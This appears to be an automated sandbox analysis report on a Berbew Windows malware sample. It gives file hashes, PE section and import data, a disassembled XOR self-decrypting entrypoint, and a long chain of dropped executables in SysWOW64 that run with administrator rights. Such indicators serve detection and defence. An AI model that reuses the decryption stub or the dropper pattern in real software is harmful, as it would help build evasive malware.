SHA-512:	7DE018F4576CD66E301742DB965A4C8B2943BDDE02406AC079333442B0DE553CB0D19BCD8FA1AC32AD75E77A7E34AFBD2BB1EBF674C2ABE9E0B3C51FD73C6245
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Qgcpihjl.exe

Download File

Process:	C:\Windows\SysWOW64\Pqeoao32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.013558527102182
Encrypted:	false
SSDEEP:	3072:1YqlBq3SyVilCFCREXdXNKT1ntPG9poDrFDHZtOgl:1NySCwCN9Otopg5tTl
MD5:	B46EDD174CAE8D3583851F8A26241E40
SHA1:	8EFC1BC566B2CFF72ED4712BE9A06834D945AA17
SHA-256:	BA14062931917EF30294A526366AE179B975361A256675B9B244876CCCBE2B24
SHA-512:	AED874B82A3857F73790FF5E0A613594E46B374FCF7DD7725B0114631EBA96E936BC0E1833FD31D00066F463E1DBC33E4D5299F94302A80685D100465E5258DC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.990103695539264
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	h879iieoae.exe
File size:	131'072 bytes
MD5:	b6ff4e20e2b53b684a7cb84630d836fa
SHA1:	58f690a95f195f70e6fc59ce67855941bd817f7a
SHA256:	55f3f17f1a264e2b9a8aa9d5750696688fc4a7bbd530ab74224db9939c974d09
SHA512:	bf58689e3a5787eef3f39538af6131f6bcc25375ef7d9e6f7126a6b083a40be6c0f5c8984e0c0e7344264beefc139f1ef4cf0cbb0e834892d2e67229c99b393d
SSDEEP:	3072:3j4B2SHQ2wmiWCgTaCREXdXNKT1ntPG9poDrFDHZtOgl:z4MgJwu/ZCN9Otopg5tTl
TLSH:	84D37CCB67AB2761C253C1721ACF46E2A639B3E52F6C796063F44018036FE1951B3AD3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@........................................................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x42e000
Entrypoint Section:	.embm
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x5A78A2A7 [Mon Feb 5 18:29:59 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	1
OS Version Minor:	0
File Version Major:	1
File Version Minor:	0
Subsystem Version Major:	1
Subsystem Version Minor:	0
Import Hash:	3485b7bb99be46d64b23612faba98357

Entrypoint Preview

Instruction
nop
nop
nop
nop
nop
pushad
call 00007FA1F942F806h
nop
nop
nop
nop
nop
pop eax
add eax, 00403AC5h
nop
nop
sub eax, 00403A6Bh
nop
nop
nop
nop
mov ebx, dword ptr [eax]
mov ecx, dword ptr [eax+04h]
nop
nop
nop
mov edx, dword ptr [eax+08h]
nop
nop
nop
xor dword ptr [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 04h
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 00007FA1F942F7EAh
nop
add eax, 0Ch
nop
nop
nop
cmp dword ptr [eax], 00000000h
nop
nop
nop
jne 00007FA1F942F7C9h
nop
nop
nop
nop
nop
nop
popad
nop
nop
jmp 00007FA1F94029B9h
add byte ptr [eax], dl
inc eax
add al, bh
jle 00007FA1F942F842h
add byte ptr [eax+00003B76h], bl
mov al, byte ptr [CD700042h]
inc edx
add byte ptr [edx+ebx*2+00002DFBh], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg eax, ecx
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 05F33C26h
nop
nop
nop
nop
xor dword ptr [eax], esi
add eax, edi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3c000	0x118	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6ef8	0x6ef8	1ed61149f456a49c3765939a69af4fdb	False	0.6444663475077443	data	7.190507132248476	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x8000	0x21298	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x2a000	0x2d70	0x2d70	38e6b0b7b6588e0cb16762e2280c898d	False	0.41755502063273725	data	5.726258020923482	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2d000	0xe68	0xe68	02e8785c395f6589c1765f361cd99074	False	0.39398047722342733	data	5.075876252835949	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.embm	0x2e000	0x1000	0x200	83b0eaba5abe73085ef891c71bb1ce50	False	0.318359375	data	2.369404689922198	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x2f000	0x2000	0x1a00	96b79b031fcc987bb0c27baf92db9012	False	0.494140625	data	5.036907313519617	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.idata	0x31000	0x1000	0x200	cf1b514888fa9c2e84873729046b3ef9	False	0.400390625	data	2.5395793360531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.idata	0x32000	0x1000	0x200	65fdd01c2b481c1fb7e2673ac91be88d	False	0.412109375	data	2.6695589518608314	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x33000	0x1000	0xe00	cca50c934d91d5f84317bf02c25c7d4d	False	0.5655691964285714	data	5.20190474867528	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.text	0x34000	0x1000	0xe00	4bf27c9996656745afffb0e19f4e2adf	False	0.5382254464285714	data	5.1612474383207205	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.idata	0x35000	0x1000	0x400	837cb8e90dc41230c3543c60561e5a4d	False	0.4248046875	data	3.582369291213418	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x36000	0x2000	0x1a00	35e3bc77a50749d9bcd00baccd20b0de	False	0.49173677884615385	data	4.955758251079454	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x38000	0x3000	0x2600	979b0ab00475a6cd052b7905ae584c09	False	0.4276315789473684	data	4.769958518554453	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.idata	0x3b000	0x1000	0x200	60134637a9a41621b00fa141ff81c7fa	False	0.4765625	data	3.3650250421312915	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.idata	0x3c000	0x1000	0x200	a88f6d241d49fd225bf10d219f204e06	False	0.4375	data	2.793576955047795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.text	0x3d000	0x2000	0x1800	aba1b2f0115bb3713dc7c5b0cdbc0664	False	0.5017903645833334	data	5.034292397049128	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Imports

DLL	Import
ole32.DLL	CoCreateInstance, CLSIDFromString, CoInitialize, CoUninitialize
OLEAUT32.DLL	SysAllocString
WININET.DLL	DeleteUrlCacheEntry, FindFirstUrlCacheEntryA, FindNextUrlCacheEntryA
KERNEL32.DLL	ExitProcess, ExpandEnvironmentStringsA, GetCommandLineA, GetCurrentProcessId, GetCurrentThreadId, GetExitCodeThread, GetFileSize, GetModuleFileNameA, GetModuleHandleA, CloseHandle, GetProcAddress, GetSystemDirectoryA, GetTempPathA, GetTickCount, GetVersion, GetVersionExA, GetWindowsDirectoryA, GlobalMemoryStatus, CopyFileA, InterlockedIncrement, IsBadReadPtr, IsBadWritePtr, LoadLibraryA, LocalAlloc, LocalFree, OpenMutexA, CreateFileA, ReadFile, RtlUnwind, SetFilePointer, CreateMutexA, Sleep, TerminateProcess, VirtualQuery, CreateProcessA, WaitForSingleObject, WideCharToMultiByte, WinExec, WriteFile, lstrlenA, lstrlenW, CreateThread, DeleteFileA
USER32.DLL	GetWindowTextA, GetWindowRect, FindWindowA, GetWindow, GetClassNameA, SetFocus, GetForegroundWindow, LoadCursorA, LoadIconA, SetTimer, RegisterClassA, MessageBoxA, GetMessageA, GetWindowLongA, SetWindowLongA, CreateDesktopA, SetThreadDesktop, GetThreadDesktop, TranslateMessage, DispatchMessageA, SendMessageA, PostQuitMessage, ShowWindow, CreateWindowExA, DestroyWindow, MoveWindow, DefWindowProcA, CallWindowProcA
GDI32.DLL	GetStockObject, SetBkColor, SetTextColor, CreateBrushIndirect, CreateFontA
ADVAPI32.DLL	RegCreateKeyExA, RegCloseKey, RegOpenKeyExA, RegQueryValueExA, RegSetValueExA, GetSecurityInfo, SetSecurityInfo, SetEntriesInAclA
CRTDLL.DLL	__GetMainArgs, _sleep, _stricmp, atoi, exit, memcpy, memset, printf, raise, rand, signal, sprintf, srand, sscanf, strcat, strchr, strncmp, vsprintf
oleaut32.dll	SysAllocString
ntdsapi.dll	DsBindA, DsBindWithCredA
kernel32.dll	lstrcpyW, FatalAppExitA, VirtualAlloc, GetEnvironmentStringsW, GetTimeFormatA, GetVolumeInformationA, CreateProcessW, FreeConsole, CreateFileMappingW, QueryPerformanceCounter, GetTempPathW, GetSystemTimeAsFileTime, SetPriorityClass, GetLongPathNameW, GetProfileIntA, GetTimeFormatW, DeleteFileA, IsBadReadPtr, SuspendThread, FileTimeToSystemTime, GetCurrentProcess
version.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
dbghelp.dll	SymSetOptions

Target ID:	0
Start time:	19:58:56
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\h879iieoae.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\h879iieoae.exe"
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	B6FF4E20E2B53B684A7CB84630D836FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	19:58:56
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Nejhbi32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Nejhbi32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	0603E4CBD8760D07DD7DCAB05A92238A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:58:56
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Ogjdllpi.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Ogjdllpi.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	B9761DC0E2D962AEFE92F6E1F3C1F250
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:58:56
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Opbieagi.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Opbieagi.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	04F64BB1853F025B09D78A47FA5C7F7B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:58:56
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Oglabl32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Oglabl32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	EB5F811B6A66908B38FB889817D5988F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:58:56
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Olijjb32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Olijjb32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	6E56FF877D11D4ED11AF106FBDDD4ACE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:58:56
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Oeanchcn.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Oeanchcn.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	1B2425A45E8ED6237FBE4E56F276A504
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:58:56
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Oceoll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Oceoll32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	1DB24B47BF090833A70E0BEA68A38D9F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:58:56
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Onkcje32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Onkcje32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	7862075539A938767C526CCB7DF7CF4E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:58:56
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Odekfoij.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Odekfoij.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	A30DE8FF39A8563F2D7B9E36AD05A4C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:58:56
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Ojacofgb.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Ojacofgb.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	AF41FAF03E8EAED376F154722746385B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 0000000A.00000002.1986379697.000000000042A000.00000004.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:58:57
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Ppllkpoo.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Ppllkpoo.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	38F64F662EE5C7E45202627AA7FCACCC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 0000000B.00000002.1988867655.000000000042A000.00000004.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	19:58:57
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Plbmqa32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Plbmqa32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	40D460D476E3EF9238CDEC233DCA293E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 0000000C.00000002.1990903099.000000000042A000.00000004.00000001.01000000.0000000F.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	19:58:57
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Plgflqpn.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Plgflqpn.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	746D9DB8F43CEAFB79CE4693732F31F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 0000000D.00000002.1993494029.000000000042A000.00000004.00000001.01000000.00000010.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:58:57
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Pqeoao32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Pqeoao32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	A195A0011B7154E41E7FCDE5D8B4E0CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 0000000E.00000002.1998469389.000000000042A000.00000004.00000001.01000000.00000011.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	19:58:57
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Qgcpihjl.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Qgcpihjl.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	B46EDD174CAE8D3583851F8A26241E40
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 0000000F.00000002.2000063573.000000000042A000.00000004.00000001.01000000.00000012.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:58:58
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Ajkolbad.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Ajkolbad.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	9A076EA5029217C545E15BC92444072D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000010.00000002.2000741077.000000000042A000.00000004.00000001.01000000.00000013.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:58:58
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Bmlhnnne.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Bmlhnnne.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	A98CEA1775884370D8699936D1B8E227
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000011.00000002.2001790871.000000000042A000.00000004.00000001.01000000.00000014.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:58:58
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Bgamkfnl.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Bgamkfnl.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	2DAF6E68C4322E5ABD5103F013110A0D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000012.00000002.2002333377.000000000042A000.00000004.00000001.01000000.00000015.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	19:58:58
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Bqjacldl.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Bqjacldl.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	D92B3B389B0B969DCC1638C63737002A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000013.00000002.2003694218.000000000042A000.00000004.00000001.01000000.00000016.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	19:58:58
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Bnnampcf.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Bnnampcf.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	F015A56D85709788B392A68459FEB024
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000014.00000002.2004277931.000000000042A000.00000004.00000001.01000000.00000017.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	19:58:58
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Bnpnbp32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Bnpnbp32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	7E024C6EF36928FEE4659AE588ED4D43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000015.00000002.2005214969.000000000042A000.00000004.00000001.01000000.00000018.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	19:58:58
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Bgibkegc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Bgibkegc.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	0DBB530A0BE511F3DC794C1024460A99
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000016.00000002.2005778309.000000000042A000.00000004.00000001.01000000.00000019.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	19:58:58
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Baagdk32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Baagdk32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	1F4BBF60BA2126DD626006EB2F22CA9D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000017.00000002.2006552400.000000000042A000.00000004.00000001.01000000.0000001A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	19:58:59
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Cfnpmb32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Cfnpmb32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	3E45EB0DFCF7ACE28698143C3D650109
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000018.00000002.2007866947.000000000042A000.00000004.00000001.01000000.0000001B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	19:58:59
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Ccapffke.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Ccapffke.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	713B5E4D81DBB20F5D48D2BC5501A007
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000019.00000002.2008521888.000000000042A000.00000004.00000001.01000000.0000001C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

